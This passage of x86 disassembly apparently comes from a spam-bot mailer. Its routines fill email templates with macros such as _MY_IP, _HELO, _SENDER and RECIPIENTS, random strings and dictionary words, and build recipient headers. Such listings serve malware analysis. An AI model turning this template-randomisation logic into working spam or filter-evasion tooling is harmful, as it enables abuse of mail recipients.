XREF: sub_4081BF+2C8j mov edi, [esi+8] cmp ebx, edi jbe short loc_4084AB call sub_40DCFC loc_4084AB: ; CODE XREF: sub_4081BF+2E5j push edi push esi lea eax, [ebp-0A4h] push eax lea ebx, [ebp-78h] call sub_40996D loc_4084BC: ; CODE XREF: sub_4081BF+2DEj lea esi, [ebp-88h] call sub_405AAC push 0 push 1 lea ecx, [ebp-0A4h] call sub_4013C4 lea esi, [ebp-48h] mov byte ptr [ebp-4], 1 call sub_405AAC jmp short loc_40853A ; --------------------------------------------------------------------------- loc_4084E4: ; CODE XREF: sub_4081BF+38Fj push offset a_ ; "." lea esi, [ebp-30h] call sub_406A6D test al, al pop ecx jnz short loc_408550 mov edi, [ebp-14h] mov esi, [edi+8] cmp [edi+4], esi jbe short loc_408506 call sub_40DCFC loc_408506: ; CODE XREF: sub_4081BF+340j mov [ebp-38h], edi push 0FFFFFFFFh lea edi, [ebp-38h] mov [ebp-34h], esi call sub_40AFC3 mov esi, [eax] test esi, esi mov edi, [eax+4] jnz short loc_408524 call sub_40DCFC loc_408524: ; CODE XREF: sub_4081BF+35Ej cmp edi, [esi+8] jb short loc_40852E call sub_40DCFC loc_40852E: ; CODE XREF: sub_4081BF+368j lea eax, [ebp-30h] push eax lea eax, [edi+1Ch] call sub_409560 loc_40853A: ; CODE XREF: sub_4081BF+323j lea eax, [ebp-70h] push eax lea eax, [ebp-30h] push eax lea edi, [ebp+0Ch] call sub_4093C0 test al, al pop ecx pop ecx jnz short loc_4084E4 loc_408550: ; CODE XREF: sub_4081BF+20Ej ; sub_4081BF+25Ej ... lea eax, [ebp-70h] push eax lea eax, [ebp-30h] push eax lea edi, [ebp+0Ch] call sub_4093C0 test al, al pop ecx pop ecx jnz loc_40842E push 0 push 1 lea ecx, [ebp-70h] call sub_4013C4 push 0 push 1 lea ecx, [ebp-30h] call sub_4013C4 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_4081BF endp ; =============== S U B R O U T I N E ======================================= sub_408593 proc near ; CODE XREF: sub_402979+DDp mov eax, offset loc_41B3CD call sub_41AE44 sub esp, 0A8h push ebx push esi push edi call sub_40AC61 mov [ebp-24h], eax mov byte ptr [eax+45h], 1 mov eax, [ebp-24h] mov [eax+4], eax mov eax, [ebp-24h] mov [eax], eax mov eax, [ebp-24h] xor ebx, ebx mov [eax+8], eax mov [ebp-20h], ebx mov [ebp-4], ebx call sub_40AF99 mov [ebp-30h], eax mov byte ptr [eax+39h], 1 mov eax, [ebp-30h] mov [eax+4], eax mov eax, [ebp-30h] mov [eax], eax mov eax, [ebp-30h] mov [eax+8], eax mov [ebp-2Ch], ebx push offset a_date ; "_DATE" lea ecx, [ebp-50h] mov byte ptr [ebp-4], 1 call sub_401C44 lea eax, [ebp-50h] push eax lea eax, [ebp-28h] push eax mov byte ptr [ebp-4], 2 call sub_4095C0 push eax call sub_409358 xor esi, esi push ebx inc esi push esi lea ecx, [ebp-50h] mov byte ptr [ebp-4], 1 call sub_4013C4 push offset a_my_ip ; "_MY_IP" lea ecx, [ebp-50h] call sub_401C44 lea eax, [ebp-50h] push eax lea eax, [ebp-28h] push eax mov byte ptr [ebp-4], 3 call sub_4095C0 mov edi, [ebp+8] push 0FFFFFFFFh push ebx lea ecx, [edi+3Ch] push ecx mov ecx, eax call sub_401315 push ebx push esi lea ecx, [ebp-50h] mov byte ptr [ebp-4], 1 call sub_4013C4 push offset a_my_hostname ; "_MY_HOSTNAME" lea ecx, [ebp-50h] call sub_401C44 lea eax, [ebp-50h] push eax lea eax, [ebp-28h] push eax mov byte ptr [ebp-4], 4 call sub_4095C0 push 0FFFFFFFFh push ebx lea ecx, [edi+58h] push ecx mov ecx, eax call sub_401315 push ebx push esi lea ecx, [ebp-50h] mov byte ptr [ebp-4], 1 call sub_4013C4 push offset a_from_domain ; "_FROM_DOMAIN" lea ecx, [ebp-50h] call sub_401C44 lea eax, [ebp-50h] push eax lea eax, [ebp-28h] push eax mov byte ptr [ebp-4], 5 call sub_4095C0 push 0FFFFFFFFh push ebx push dword ptr [ebp+10h] mov ecx, eax call sub_401315 push ebx push esi lea ecx, [ebp-50h] mov byte ptr [ebp-4], 1 call sub_4013C4 lea esi, [edi+10h] mov eax, [esi+4] cmp eax, [esi+8] mov [ebp+10h], esi mov [ebp-1Ch], eax jbe short loc_4086ED call sub_40DCFC mov eax, [ebp-1Ch] loc_4086ED: ; CODE XREF: sub_408593+150j mov [ebp-18h], esi mov [ebp-14h], eax loc_4086F3: ; CODE XREF: sub_408593+2D2j mov eax, [esi+8] cmp [esi+4], eax mov [ebp-1Ch], eax jbe short loc_408703 call sub_40DCFC loc_408703: ; CODE XREF: sub_408593+169j cmp esi, esi jz short loc_40870C call sub_40DCFC loc_40870C: ; CODE XREF: sub_408593+172j mov eax, [ebp-1Ch] cmp [ebp-14h], eax jz loc_40886A mov [ebp-40h], ebx mov [ebp-3Ch], ebx mov [ebp-38h], ebx lea esi, [ebp-18h] mov byte ptr [ebp-4], 6 call sub_409835 push eax lea ecx, [ebp-0A8h] call sub_401C1E lea eax, [ebp-8Ch] push eax lea ecx, [ebp-44h] mov byte ptr [ebp-4], 7 call sub_4075BC lea eax, [ebp-0A8h] push eax lea edi, [ebp-0B4h] lea ebx, [ebp-34h] mov byte ptr [ebp-4], 8 call sub_409720 mov ecx, [eax] mov ebx, [eax+4] lea esi, [ebp-8Ch] mov [ebp-60h], ecx call sub_405AAC push 0 push 1 lea ecx, [ebp-0A8h] call sub_4013C4 lea esi, [ebp-44h] mov byte ptr [ebp-4], 1 call sub_405AAC lea esi, [ebp-18h] call sub_409835 mov edi, eax mov esi, [edi+20h] add edi, 1Ch cmp esi, [edi+8] jbe short loc_4087AD call sub_40DCFC loc_4087AD: ; CODE XREF: sub_408593+213j ; sub_408593+2B1j mov [ebp-54h], esi lea esi, [ebp-18h] call sub_409835 mov esi, eax mov eax, [esi+24h] add esi, 1Ch cmp [esi+4], eax mov [ebp-1Ch], eax jbe short loc_4087CD call sub_40DCFC loc_4087CD: ; CODE XREF: sub_408593+233j cmp edi, esi jz short loc_4087D6 call sub_40DCFC loc_4087D6: ; CODE XREF: sub_408593+23Cj mov esi, [ebp-54h] cmp esi, [ebp-1Ch] jz short loc_408849 cmp esi, [edi+8] jb short loc_4087E8 call sub_40DCFC loc_4087E8: ; CODE XREF: sub_408593+24Ej push esi push dword ptr [ebp+0Ch] lea eax, [ebp-34h] push eax lea eax, [ebp-28h] push eax lea eax, [ebp-7Ch] push eax call sub_4089E6 mov [ebp-1Ch], eax mov byte ptr [ebp-4], 9 cmp dword ptr [ebp-60h], 0 jnz short loc_40880F call sub_40DCFC loc_40880F: ; CODE XREF: sub_408593+275j mov eax, [ebp-60h] cmp ebx, [eax+4] jnz short loc_40881C call sub_40DCFC loc_40881C: ; CODE XREF: sub_408593+282j push dword ptr [ebp-1Ch] lea eax, [ebx+28h] call sub_409560 push 0 push 1 lea ecx, [ebp-7Ch] mov byte ptr [ebp-4], 1 call sub_4013C4 cmp esi, [edi+8] jb short loc_408841 call sub_40DCFC loc_408841: ; CODE XREF: sub_408593+2A7j add esi, 1Ch jmp loc_4087AD ; --------------------------------------------------------------------------- loc_408849: ; CODE XREF: sub_408593+249j mov eax, [ebp+10h] mov ecx, [ebp-14h] cmp ecx, [eax+8] jb short loc_408859 call sub_40DCFC loc_408859: ; CODE XREF: sub_408593+2BFj add dword ptr [ebp-14h], 2Ch mov esi, [ebp+10h] mov edi, [ebp+8] xor ebx, ebx jmp loc_4086F3 ; --------------------------------------------------------------------------- loc_40886A: ; CODE XREF: sub_408593+17Fj mov esi, [edi+4] cmp esi, [edi+8] jbe short loc_408877 call sub_40DCFC loc_408877: ; CODE XREF: sub_408593+2DDj mov [ebp-18h], edi mov [ebp-14h], esi loc_40887D: ; CODE XREF: sub_408593+35Fj mov esi, [edi+8] cmp [edi+4], esi jbe short loc_40888A call sub_40DCFC loc_40888A: ; CODE XREF: sub_408593+2F0j cmp [ebp-14h], esi jz short loc_4088F4 lea esi, [ebp-18h] call sub_409835 add eax, 1Ch push eax push dword ptr [ebp+0Ch] lea eax, [ebp-34h] push eax lea eax, [ebp-28h] push eax lea eax, [ebp-7Ch] push eax call sub_4089E6 mov [ebp+8], eax mov byte ptr [ebp-4], 0Ah call sub_409835 push eax lea eax, [ebp-28h] push eax call sub_4095C0 push 0FFFFFFFFh push ebx push dword ptr [ebp+8] mov ecx, eax call sub_401315 push ebx push 1 lea ecx, [ebp-7Ch] mov byte ptr [ebp-4], 1 call sub_4013C4 mov eax, [ebp-14h] cmp eax, [edi+8] jb short loc_4088EE call sub_40DCFC loc_4088EE: ; CODE XREF: sub_408593+354j add dword ptr [ebp-14h], 38h jmp short loc_40887D ; --------------------------------------------------------------------------- loc_4088F4: ; CODE XREF: sub_408593+2FAj push offset a_sender ; "_SENDER" lea ecx, [ebp-50h] call sub_401C44 lea eax, [ebp-50h] push eax lea eax, [ebp-28h] push eax mov byte ptr [ebp-4], 0Bh call sub_4095C0 mov ecx, [ebp+18h] or esi, 0FFFFFFFFh push esi push ebx push eax call sub_401315 push ebx push 1 lea ecx, [ebp-50h] mov byte ptr [ebp-4], 1 call sub_4013C4 push offset a_helo ; "_HELO" lea ecx, [ebp-50h] call sub_401C44 lea eax, [ebp-50h] push eax lea eax, [ebp-28h] push eax mov byte ptr [ebp-4], 0Ch call sub_4095C0 mov ecx, [ebp+1Ch] push esi push ebx push eax call sub_401315 push ebx push 1 lea ecx, [ebp-50h] mov byte ptr [ebp-4], 1 call sub_4013C4 add edi, 20h push edi push dword ptr [ebp+0Ch] lea eax, [ebp-34h] push eax lea eax, [ebp-28h] push eax lea eax, [ebp-7Ch] push eax call sub_4089E6 mov ecx, [ebp+14h] push esi push ebx push eax mov byte ptr [ebp-4], 0Dh call sub_401315 push ebx push 1 lea ecx, [ebp-7Ch] call sub_4013C4 lea eax, [ebp-34h] mov [ebp-4], bl call sub_4096EB lea eax, [ebp-28h] mov [ebp-4], esi call sub_4096B6 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 18h sub_408593 endp ; --------------------------------------------------------------------------- loc_4089C0: ; CODE XREF: .vty:0041B35Aj push ecx call sub_4096B6 pop ecx retn ; --------------------------------------------------------------------------- loc_4089C8: ; CODE XREF: .vty:0041B362j push ecx call sub_4096EB pop ecx retn ; --------------------------------------------------------------------------- loc_4089D0: ; CODE XREF: .vty:0041B3A0j ; .vty:0041B507j ... push esi lea esi, [edi+1Ch] call sub_405AAC push 0 push 1 mov ecx, edi call sub_4013C4 pop esi retn ; =============== S U B R O U T I N E ======================================= sub_4089E6 proc near ; CODE XREF: sub_408593+265p ; sub_408593+317p ... mov eax, offset loc_41B1B1 call sub_41AE44 sub esp, 84h and dword ptr [ebp-14h], 0 push ebx push esi mov esi, [ebp+8] push edi call sub_4012E2 and dword ptr [ebp-4], 0 mov ebx, [ebp+18h] xor eax, eax mov dword ptr [ebp-14h], 1 xor esi, esi call sub_4094C5 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_408E05 jmp short loc_408A2C ; --------------------------------------------------------------------------- loc_408A29: ; CODE XREF: sub_4089E6+419j mov ebx, [ebp-10h] loc_408A2C: ; CODE XREF: sub_4089E6+41j mov eax, ebx sub eax, esi push eax push esi push dword ptr [ebp+18h] lea esi, [ebp-78h] call sub_405527 xor edi, edi inc edi push 0FFFFFFFFh mov [ebp-4], edi mov esi, [ebp+8] push 0 call sub_401F95 push 0 push edi lea ecx, [ebp-78h] call sub_4013C4 mov esi, [ebp+18h] mov edi, ebx mov eax, esi call sub_4012F5 mov al, [eax] push 0 lea ecx, [ebp-54h] mov [ebp-28h], al mov dword ptr [ebp-3Ch], 0Fh call sub_401564 inc ebx mov dword ptr [ebp-4], 2 cmp ebx, [esi+14h] mov [ebp-10h], ebx jnb short loc_408ADD loc_408A8C: ; CODE XREF: sub_4089E6+F5j mov edi, ebx mov eax, esi call sub_4012F5 movsx eax, byte ptr [eax] push eax call sub_410004 test eax, eax pop ecx jnz short loc_408AAF mov eax, esi call sub_4012F5 cmp byte ptr [eax], 5Fh jnz short loc_408ADD loc_408AAF: ; CODE XREF: sub_4089E6+BBj mov edi, ebx mov eax, esi call sub_4012F5 mov al, [eax] mov [ebp-58h], al push dword ptr [ebp-58h] xor ebx, ebx inc ebx lea esi, [ebp-54h] call sub_40140F inc dword ptr [ebp-10h] mov eax, [ebp+18h] mov ecx, [ebp-10h] cmp ecx, [eax+14h] mov ebx, ecx mov esi, eax jb short loc_408A8C loc_408ADD: ; CODE XREF: sub_4089E6+A4j ; sub_4089E6+C7j cmp byte ptr [ebp-28h], 23h jnz loc_408CC2 xor eax, eax mov [ebp-20h], eax mov [ebp-1Ch], eax mov [ebp-18h], eax mov byte ptr [ebp-4], 3 cmp ebx, [esi+14h] jnb loc_408BAC mov edi, ebx mov eax, esi call sub_4012F5 cmp byte ptr [eax], 28h jnz loc_408BAC loc_408B11: ; CODE XREF: sub_4089E6+1BCj push 0 lea ecx, [ebp-78h] mov dword ptr [ebp-60h], 0Fh call sub_401564 inc ebx mov byte ptr [ebp-4], 4 cmp ebx, [esi+14h] mov [ebp-10h], ebx jnb short loc_408B75 loc_408B2F: ; CODE XREF: sub_4089E6+18Dj mov edi, ebx mov eax, esi call sub_4012F5 cmp byte ptr [eax], 2Ch jz short loc_408B75 mov eax, esi call sub_4012F5 cmp byte ptr [eax], 29h jz short loc_408B75 mov eax, esi call sub_4012F5 mov al, [eax] mov [ebp-5Ch], al push dword ptr [ebp-5Ch] xor ebx, ebx inc ebx lea esi, [ebp-78h] call sub_40140F inc dword ptr [ebp-10h] mov eax, [ebp+18h] mov ecx, [ebp-10h] cmp ecx, [eax+14h] mov ebx, ecx mov esi, eax jb short loc_408B2F loc_408B75: ; CODE XREF: sub_4089E6+147j ; sub_4089E6+155j ... lea eax, [ebp-78h] push eax lea eax, [ebp-24h] call sub_409560 push 0 push 1 lea ecx, [ebp-78h] mov byte ptr [ebp-4], 3 call sub_4013C4 mov edi, ebx mov eax, esi call sub_4012F5 cmp byte ptr [eax], 29h jz short loc_408BA8 cmp ebx, [esi+14h] jb loc_408B11 loc_408BA8: ; CODE XREF: sub_4089E6+1B7j inc ebx mov [ebp-10h], ebx loc_408BAC: ; CODE XREF: sub_4089E6+113j ; sub_4089E6+125j push offset aDict ; "DICT" lea esi, [ebp-54h] call sub_406A6D test al, al pop ecx jz short loc_408BC5 push offset dword_41E020 jmp short loc_408BF5 ; --------------------------------------------------------------------------- loc_408BC5: ; CODE XREF: sub_4089E6+1D6j push offset aDict_sp ; "DICT_SP" lea esi, [ebp-54h] call sub_406A6D test al, al pop ecx jz short loc_408BDE push offset asc_41EC4C ; " " jmp short loc_408BF5 ; --------------------------------------------------------------------------- loc_408BDE: ; CODE XREF: sub_4089E6+1EFj push offset aDict_nl ; "DICT_NL" lea esi, [ebp-54h] call sub_406A6D test al, al pop ecx jz short loc_408C09 push offset asc_41EBE8 ; "\r\n" loc_408BF5: ; CODE XREF: sub_4089E6+1DDj ; sub_4089E6+1F6j lea eax, [ebp-24h] push eax push dword ptr [ebp+8] mov eax, [ebp+10h] call sub_408E4C jmp loc_408CB1 ; --------------------------------------------------------------------------- loc_408C09: ; CODE XREF: sub_4089E6+208j push offset aRand_num ; "RAND_NUM" lea esi, [ebp-54h] call sub_406A6D test al, al pop ecx jz short loc_408C22 push offset a0123456789 ; "0123456789" jmp short loc_408C84 ; --------------------------------------------------------------------------- loc_408C22: ; CODE XREF: sub_4089E6+233j push offset aRand_char_lc ; "RAND_CHAR_LC" lea esi, [ebp-54h] call sub_406A6D test al, al pop ecx jz short loc_408C3B push offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz" jmp short loc_408C84 ; --------------------------------------------------------------------------- loc_408C3B: ; CODE XREF: sub_4089E6+24Cj push offset aRand_char_uc ; "RAND_CHAR_UC" lea esi, [ebp-54h] call sub_406A6D test al, al pop ecx jz short loc_408C54 push offset aAbcdefghijkl_0 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" jmp short loc_408C84 ; --------------------------------------------------------------------------- loc_408C54: ; CODE XREF: sub_4089E6+265j push offset aRand_char_mc ; "RAND_CHAR_MC" lea esi, [ebp-54h] call sub_406A6D test al, al pop ecx jz short loc_408C6D push offset aAbcdefghijkl_1 ; "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM"... jmp short loc_408C84 ; --------------------------------------------------------------------------- loc_408C6D: ; CODE XREF: sub_4089E6+27Ej push offset aRand_char_num ; "RAND_CHAR_NUM" lea esi, [ebp-54h] call sub_406A6D test al, al pop ecx jz short loc_408C91 push offset aAbcdefghijkl_2 ; "abcdefghijklmnopqrstuvwxyz0123456789" loc_408C84: ; CODE XREF: sub_4089E6+23Aj ; sub_4089E6+253j ... push dword ptr [ebp+8] lea eax, [ebp-24h] call sub_408F69 jmp short loc_408CB1 ; --------------------------------------------------------------------------- loc_408C91: ; CODE XREF: sub_4089E6+297j push offset aRecipients ; "RECIPIENTS" lea esi, [ebp-54h] call sub_406A6D test al, al pop ecx jz short loc_408CB1 push dword ptr [ebp+14h] lea eax, [ebp-24h] push dword ptr [ebp+8] call sub_409016 loc_408CB1: ; CODE XREF: sub_4089E6+21Ej ; sub_4089E6+2A9j ... lea esi, [ebp-24h] mov byte ptr [ebp-4], 2 call sub_405AAC jmp loc_408DB0 ; --------------------------------------------------------------------------- loc_408CC2: ; CODE XREF: sub_4089E6+FBj mov esi, [ebp+0Ch] lea eax, [ebp-54h] push eax mov eax, esi call sub_40A70C test esi, esi mov [ebp-34h], eax jnz short loc_408CDC call sub_40DCFC loc_408CDC: ; CODE XREF: sub_4089E6+2EFj mov eax, [esi+4] mov [ebp-38h], esi mov [ebp-90h], esi lea edi, [ebp-90h] lea esi, [ebp-38h] mov [ebp-8Ch], eax call sub_40989F test al, al jnz short loc_408D19 mov ecx, [ebp-34h] add ecx, 0Ch lea eax, [ebp-54h] call sub_409C4D test al, al jnz short loc_408D19 mov eax, [ebp+0Ch] mov ecx, esi jmp short loc_408D28 ; --------------------------------------------------------------------------- loc_408D19: ; CODE XREF: sub_4089E6+318j ; sub_4089E6+32Aj mov eax, [ebp+0Ch] mov ecx, [eax+4] mov [ebp-7Ch], ecx mov [ebp-80h], eax lea ecx, [ebp-80h] loc_408D28: ; CODE XREF: sub_4089E6+331j mov edx, [ecx] mov ecx, [ecx+4] mov [ebp-2Ch], ecx mov ecx, [eax+4] lea edi, [ebp-88h] lea esi, [ebp-30h] mov [ebp-30h], edx mov [ebp-84h], ecx mov [ebp-88h], eax call sub_40989F test al, al jz short loc_408D6B push offset dword_41E020 lea ecx, [ebp-78h] call sub_401C44 mov byte ptr [ebp-4], 5 or dword ptr [ebp-14h], 2 jmp short loc_408D87 ; --------------------------------------------------------------------------- loc_408D6B: ; CODE XREF: sub_4089E6+36Cj mov edi, [ebp-30h] test edi, edi jnz short loc_408D77 call sub_40DCFC loc_408D77: ; CODE XREF: sub_4089E6+38Aj mov esi, [ebp-2Ch] cmp esi, [edi+4] jnz short loc_408D84 call sub_40DCFC loc_408D84: ; CODE XREF: sub_4089E6+397j lea eax, [esi+28h] loc_408D87: ; CODE XREF: sub_4089E6+383j mov esi, [ebp+8] push 0FFFFFFFFh push 0 call sub_401F95 mov dword ptr [ebp-4], 2 test byte ptr [ebp-14h], 2 jz short loc_408DB0 and dword ptr [ebp-14h], 0FFFFFFFDh push 0 push 1 lea ecx, [ebp-78h] call sub_4013C4 loc_408DB0: ; CODE XREF: sub_4089E6+2D7j ; sub_4089E6+3B8j mov eax, [ebp+18h] cmp ebx, [eax+14h] jnb short loc_408DDC mov edi, ebx call sub_4012F5 cmp byte ptr [eax], 3Bh jnz short loc_408DDC cmp dword ptr [ebp-40h], 0 jnz short loc_408DDB push dword ptr [ebp-28h] mov esi, [ebp+8] xor ebx, ebx inc ebx call sub_40140F mov ebx, [ebp-10h] loc_408DDB: ; CODE XREF: sub_4089E6+3E2j inc ebx loc_408DDC: ; CODE XREF: sub_4089E6+3D0j ; sub_4089E6+3DCj mov eax, ebx mov esi, ebx mov ebx, [ebp+18h] call sub_4094C5 push 0 push 1 lea ecx, [ebp-54h] mov [ebp-10h], eax mov byte ptr [ebp-4], 0 call sub_4013C4 cmp dword ptr [ebp-10h], 0FFFFFFFFh jnz loc_408A29 loc_408E05: ; CODE XREF: sub_4089E6+3Bj mov eax, [ebp+18h] cmp esi, [eax+14h] jnb short loc_408E38 push 0FFFFFFFFh push esi push eax lea esi, [ebp-78h] call sub_405527 push 0FFFFFFFFh mov dword ptr [ebp-4], 6 mov esi, [ebp+8] push 0 call sub_401F95 push 0 push 1 lea ecx, [ebp-78h] call sub_4013C4 loc_408E38: ; CODE XREF: sub_4089E6+425j mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 14h sub_4089E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E4C proc near ; CODE XREF: sub_4089E6+219p var_18 = byte ptr -18h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push ebx push esi mov esi, [ebp+arg_4] push edi mov edi, eax mov eax, esi call sub_4057B6 test eax, eax jz loc_408F62 push 0 call sub_409541 push eax lea eax, [ebp+var_18] push eax call sub_4097C7 mov ecx, [eax] test ecx, ecx mov ebx, [eax+4] mov esi, [edi+4] mov [ebp+var_10], ecx jz short loc_408E8D cmp ecx, edi jz short loc_408E92 loc_408E8D: ; CODE XREF: sub_408E4C+3Bj call sub_40DCFC loc_408E92: ; CODE XREF: sub_408E4C+3Fj cmp ebx, esi jz loc_408F62 mov eax, [ebp+arg_4] xor edi, edi inc edi mov [ebp+var_8], edi call sub_4057B6 cmp eax, edi jbe short loc_408EF7 mov esi, [ebp+arg_4] push edi call sub_409541 cmp dword ptr [eax+18h], 10h jb short loc_408EC0 mov eax, [eax+4] jmp short loc_408EC3 ; --------------------------------------------------------------------------- loc_408EC0: ; CODE XREF: sub_408E4C+6Dj add eax, 4 loc_408EC3: ; CODE XREF: sub_408E4C+72j push eax call sub_410040 mov [ebp+var_8], eax pop ecx mov eax, esi call sub_4057B6 cmp eax, 2 jbe short loc_408EF7 push 2 call sub_409541 cmp dword ptr [eax+18h], 10h jb short loc_408EEB mov eax, [eax+4] jmp short loc_408EEE ; --------------------------------------------------------------------------- loc_408EEB: ; CODE XREF: sub_408E4C+98j add eax, 4 loc_408EEE: ; CODE XREF: sub_408E4C+9Dj push eax call sub_410040 pop ecx mov edi, eax loc_408EF7: ; CODE XREF: sub_408E4C+5Ej ; sub_408E4C+8Bj call sub_40FA86 sub edi, [ebp+var_8] cdq inc edi idiv edi mov edi, edx add edi, [ebp+var_8] jz short loc_408F62 loc_408F0A: ; CODE XREF: sub_408E4C+114j mov esi, [ebp+var_10] dec edi test esi, esi jnz short loc_408F17 call sub_40DCFC loc_408F17: ; CODE XREF: sub_408E4C+C4j cmp ebx, [esi+4] jnz short loc_408F2B call sub_40DCFC cmp ebx, [esi+4] jnz short loc_408F2B call sub_40DCFC loc_408F2B: ; CODE XREF: sub_408E4C+CEj ; sub_408E4C+D8j lea eax, [ebx+28h] call sub_4057B6 mov esi, eax call sub_40FA86 xor edx, edx div esi lea esi, [ebx+28h] push edx call sub_409541 mov esi, [ebp+arg_0] push 0FFFFFFFFh push 0 call sub_401F95 test edi, edi jz short loc_408F62 push [ebp+arg_8] push esi call sub_401C66 jmp short loc_408F0A ; --------------------------------------------------------------------------- loc_408F62: ; CODE XREF: sub_408E4C+17j ; sub_408E4C+48j ... pop edi pop esi pop ebx leave retn 0Ch sub_408E4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F69 proc near ; CODE XREF: sub_4089E6+2A4p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi push [ebp+arg_4] mov esi, eax call sub_40D970 xor ebx, ebx mov [ebp+var_8], eax inc ebx pop ecx mov eax, esi mov edi, ebx mov [ebp+var_4], ebx call sub_4057B6 test eax, eax jbe short loc_408FD9 push 0 call sub_409541 cmp dword ptr [eax+18h], 10h jb short loc_408FA4 mov eax, [eax+4] jmp short loc_408FA7 ; --------------------------------------------------------------------------- loc_408FA4: ; CODE XREF: sub_408F69+34j add eax, 4 loc_408FA7: ; CODE XREF: sub_408F69+39j push eax call sub_410040 mov [ebp+var_4], eax pop ecx mov eax, esi call sub_4057B6 cmp eax, ebx jbe short loc_408FD9 push ebx call sub_409541 cmp dword ptr [eax+18h], 10h jb short loc_408FCD mov eax, [eax+4] jmp short loc_408FD0 ; --------------------------------------------------------------------------- loc_408FCD: ; CODE XREF: sub_408F69+5Dj add eax, 4 loc_408FD0: ; CODE XREF: sub_408F69+62j push eax call sub_410040 pop ecx mov edi, eax loc_408FD9: ; CODE XREF: sub_408F69+27j ; sub_408F69+51j call sub_40FA86 sub edi, [ebp+var_4] cdq inc edi idiv edi mov edi, edx add edi, [ebp+var_4] jz short loc_40900F loc_408FEC: ; CODE XREF: sub_408F69+A4j dec edi call sub_40FA86 xor edx, edx div [ebp+var_8] mov eax, [ebp+arg_4] mov esi, [ebp+arg_0] mov al, [edx+eax] mov byte ptr [ebp+var_4], al push [ebp+var_4] call sub_40140F test edi, edi jnz short loc_408FEC loc_40900F: ; CODE XREF: sub_408F69+81j pop edi pop esi pop ebx leave retn 8 sub_408F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409016 proc near ; CODE XREF: sub_4089E6+2C6p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi push edi mov edi, [ebx+4] cmp edi, [ebx+8] mov esi, eax jbe short loc_409031 call sub_40DCFC loc_409031: ; CODE XREF: sub_409016+14j mov [ebp+var_14], edi xor edi, edi mov eax, esi mov [ebp+var_18], ebx mov [ebp+var_8], edi mov [ebp+var_C], edi mov [ebp+var_10], edi call sub_4057B6 test eax, eax jbe short loc_40906B push edi call sub_409541 cmp dword ptr [eax+18h], 10h jb short loc_40905E mov eax, [eax+4] jmp short loc_409061 ; --------------------------------------------------------------------------- loc_40905E: ; CODE XREF: sub_409016+41j add eax, 4 loc_409061: ; CODE XREF: sub_409016+46j push eax call sub_410040 pop ecx mov [ebp+var_8], eax loc_40906B: ; CODE XREF: sub_409016+35j mov eax, esi call sub_4057B6 cmp eax, 1 jbe short loc_409096 push 1 call sub_409541 cmp dword ptr [eax+18h], 10h jb short loc_409089 mov eax, [eax+4] jmp short loc_40908C ; --------------------------------------------------------------------------- loc_409089: ; CODE XREF: sub_409016+6Cj add eax, 4 loc_40908C: ; CODE XREF: sub_409016+71j push eax call sub_410040 pop ecx mov [ebp+var_C], eax loc_409096: ; CODE XREF: sub_409016+5Fj mov eax, esi call sub_4057B6 cmp eax, 2 jbe short loc_4090C1 push 2 call sub_409541 cmp dword ptr [eax+18h], 10h jb short loc_4090B4 mov eax, [eax+4] jmp short loc_4090B7 ; --------------------------------------------------------------------------- loc_4090B4: ; CODE XREF: sub_409016+97j add eax, 4 loc_4090B7: ; CODE XREF: sub_409016+9Cj push eax call sub_410040 pop ecx mov [ebp+var_10], eax loc_4090C1: ; CODE XREF: sub_409016+8Aj cmp [ebp+var_8], edi jle loc_40919B mov esi, [ebx+8] cmp [ebx+4], esi jbe short loc_4090D7 call sub_40DCFC loc_4090D7: ; CODE XREF: sub_409016+BAj mov [ebp+var_1C], esi lea edi, [ebp+var_20] lea esi, [ebp+var_18] mov [ebp+var_20], ebx call sub_407BB6 test al, al jz loc_40919B push offset aTo ; "To: " push [ebp+arg_0] call sub_401C66 mov [ebp+var_1], 1 mov [ebp+var_20], ebx loc_409104: ; CODE XREF: sub_409016+180j mov esi, [ebx+8] cmp [ebx+4], esi jbe short loc_409111 call sub_40DCFC loc_409111: ; CODE XREF: sub_409016+F4j mov [ebp+var_1C], esi lea edi, [ebp+var_20] lea esi, [ebp+var_18] call sub_407BB6 test al, al jz short loc_40919B dec [ebp+var_8] js short loc_40919B cmp [ebp+var_1], 0 jnz short loc_40913D push offset asc_41ED40 ; ", " push [ebp+arg_0] call sub_401C66 jmp short loc_409141 ; --------------------------------------------------------------------------- loc_40913D: ; CODE XREF: sub_409016+116j mov [ebp+var_1], 0 loc_409141: ; CODE XREF: sub_409016+125j mov edi, [ebp+arg_0] xor ebx, ebx push 3Ch inc ebx mov esi, edi call sub_40140F lea esi, [ebp+var_18] call sub_409835 mov eax, [eax] push 0FFFFFFFFh push 0 mov esi, edi call sub_401F95 push 40h call sub_40140F lea esi, [ebp+var_18] call sub_409835 mov eax, [eax] push 0FFFFFFFFh add eax, 1Ch push 0 mov esi, edi call sub_401F95 push 3Eh call sub_40140F lea esi, [ebp+var_18] call sub_407BD3 mov ebx, [ebp+arg_4] jmp loc_409104 ; --------------------------------------------------------------------------- loc_40919B: ; CODE XREF: sub_409016+AEj ; sub_409016+D4j ... cmp [ebp+var_C], 0 jle loc_409276 mov esi, [ebx+8] cmp [ebx+4], esi jbe short loc_4091B2 call sub_40DCFC loc_4091B2: ; CODE XREF: sub_409016+195j mov [ebp+var_1C], esi 